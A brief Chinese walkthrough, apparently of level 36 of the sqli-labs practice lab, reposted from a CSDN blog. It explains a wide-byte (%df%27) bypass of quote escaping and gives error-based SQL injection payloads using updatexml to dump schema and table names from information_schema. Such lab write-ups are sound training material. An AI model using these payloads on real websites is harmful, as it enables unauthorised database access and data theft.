第三十六关注入点为 单引号字符串型 , 注入方式为 报错注入
此关卡通过 代码WAF 对单引号' 进行了转义 , 我们使用 %df%27% 代替单引号' 绕过WAF , 先上结果
?id=1%df%27 and updatexml(1,concat(0x7e,
(select group_concat(schema_name)
from information_schema.schemata)
),3) %23
?id=1%df%27 and updatexml(1,concat(0x7e,
(select group_concat(table_name)
from information_schema.tables where table_schema=0x7365637572697479)
),3) %23
本文为互联网自动采集或经作者授权后发布，本文观点不代表立场，若侵权下架请联系我们删帖处理！文章出自：https://blog.csdn.net/wangyuxiang946/article/details/118312980